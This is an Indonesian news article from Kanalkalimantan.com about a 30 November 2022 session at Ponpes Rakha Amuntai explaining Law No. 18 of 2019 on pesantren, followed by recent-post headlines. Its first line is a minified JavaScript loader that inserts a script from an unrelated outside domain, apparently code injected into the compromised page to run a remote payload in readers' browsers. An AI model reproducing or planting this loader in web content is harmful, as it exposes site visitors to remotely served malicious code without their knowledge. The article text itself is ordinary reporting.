(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Majelis Masyayikh Sosialisasi Undang-Undang Pesantren di Ponpes Rakha Amuntai


KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan pemahaman regulasi tentang pondok pesantren (Ponpes), Majelis Masyayikh menggelar sosialisasi Undang-Undang Nomor 18 tahun 2019 tentang Pondok Pesantren, di Ponpes Rasyidiyah Khalidiyah (Rakha) Amuntai, Rabu (30/11/2022).

Sosialisasi disampaikan Ketua Mejelis Masyayikh Abdul Ghofarrozin, juga dihadiri Penjabat (Pj) Bupati Kabupaten Hulu Sungai Utara (HSU), Ketua Yayasan Ponpes Rakha Amuntai, Ketua Rabithah Ma’ahid Islam Kalimantan Selatan (Kalsel), Ketua STIQ Rakha, Ketua PWNU Kalsel, serta pimpinan atau pengasuh Ponpes se HSU.

Ketua Majelis Masyayikh, Abdul Ghofarrozin menuturkan, sosialisasi Undang-Undang pesantren ini perlu dilaksanakan untuk menjelaskan secara substansi isi dari Undang-undang sebagai pedoman di pondok pesantren.

“Sebab undang-undang ini merupakan rumah besar bagi kalangan pesantren karena perumusan hingga disahkan telah melalui proses panjang, diusahakan, diperjuangkan dan diikhtiarkan oleh kalangan pesantren melalui proses yang panjang,” jelasnya.

 

Baca juga  : Satgas Pramuka Tanbu Ikut Galang Dana Gempa Cianjur di Banjarmasin

Di dalam Undang-undang Pesantren terdapat lima amanat utama, yakni rekognisi negara terkait dengan lulusan pesantren, kedua terkait dengan tradisi akademik, kemudian metode pembelajaran, otonomi tata kelola pesantren, serta keragaman model.

“Prinsip dan norma dalam Undang-Undang Pesantren ini diantaranya merupakan bagian dari rekognisi, afirmasi dan fasilitasi negara pada pesantren, Undang-Undang Pesantren ini juga lahir dalam rangka peningkatan kualitas pesantren baik dari segi sumber daya manusia, maupun sarana dan prasarana dengan intisari 5 poin tersebut,” jelasnya.

Sementara itu, Pj Bupati HSU Raden Suria Fadliansyah mengatakan, kegiatan ini memiliki arti penting dalam rangka meningkatkan wawasan, pengetahuan dan pemahaman terkait Undang-Undang Nomor 18 tahun 2019 tentang Pondok Pesantren.

“Kita sebagai pimpinan dan pengurus lembaga pendidikan pondok pesantren sudah semestinya memiliki pemahaman yang komprehensif tentang undang-undang yang menjadi pedoman, dasar landasan hukum dan naungan dalam mengelola pendidikan, serta pembelajaran di pondok pesantren,” ungkapnya.

Baca juga  : Wali Kota Aditya Terima Penghargaan Kihajar 2022 dari Kemendikbudristek RI

Ia menyebut, pondok pesantren merupakan salah satu lembaga masyarakat yang didirkan oleh yayasan maupun organisasi yang bertujuan untuk membentuk insan yang berakhlak mulia, menanamkan ketaqwaan dan keimanan.

“Setelah penetapan tanggal 22 Oktober sebagai Hari Santri oleh Presiden Joko Widodo melalui Kepres Nomor 22 tahun 2015, menjadi milestone bersejarah pengakuan eksistensi pesantren dalam berjuang untuk negara Indonesia. Penetapan Hari Santri sekaligus membuka jalan bagi pengakuan secara utuh kepada pesantren yang telah ada jauh sebelum kemerdekaan sebagai lembaga yang memiliki kekhasan dan keaslian atas kontribusi bagi perkembangan Islam dan pemantik lembaga-lembaga Islam di Indonesia.

Sementara itu, Ketua Umum Yayasan Ponpes Rakha diwakili Sekretaris Ponpes Rakha, Rifan Syafruddin menilai kegiatan ini masih dalam suasana euphoria merayakan Satu Abad Ponpes Rakha, sosialisasi ini sejalan dengan berbagai program satuan pendidikan yang dimiliki Rakha hingga saat ini.

“Salah satunya kami tahun ini mulai membuka Al Azhar Corner, kita dijadikan salah satu cabang Al Azhar, kalau masuk di situ dapat masuk Al Azhar tanpa tes,” katanya.

Baca juga  : Turunkan Status Bencana Banjir, 5.439 Rumah Warga di HSU Masih Terendam

Ia menyebut, Ponpes Rakha memiliki Ma’had Aly, meskipun dalam pelaksanaanya banyak mendapat pertanyaan terkait seperti profil lulusan hingga arah kedepan.

“Kiranya diantara kita banyak yang bertanya Ma’had aly ini mau kemana, ijazah statusnya seperti apa, maka itu dengan adanya forum yang sangat berharga ini diharapkan dapat menjawab pertanyaan-pertanyaan tersebut,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Gubernur Kalsel Puji Kepemimpinan Bupati Abdul Hadi

KANALKALIMANTAN.COM, PARINGIN - Dinilai sebagai kabupaten termuda dan terkaya, Gubernur Kalsel H Muhidin mengapresiasi kinerja… Read More

22 menit ago

Halalbihalal Bersama ASN, Bupati HSU: Jaga Kekompakan dan Satukan Tekad

KANALKALIMANTAN.COM, AMUNTAI - Pasca libur lebaran 1446 Hijriyah, jajaran Aparatur Sipil Negara (ASN) Kabupaten Hulu… Read More

1 jam ago

Tupperware Pamit Setelah 33 Tahun Hadir di Indonesia

KANALKALIMANTAN.COM - Produsen peralatan makan dan minum berbahan plastik, Tuppeware resmi menutup bisnisnya di Indonesia.… Read More

2 jam ago

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

22 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

22 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

1 hari ago

This website uses cookies.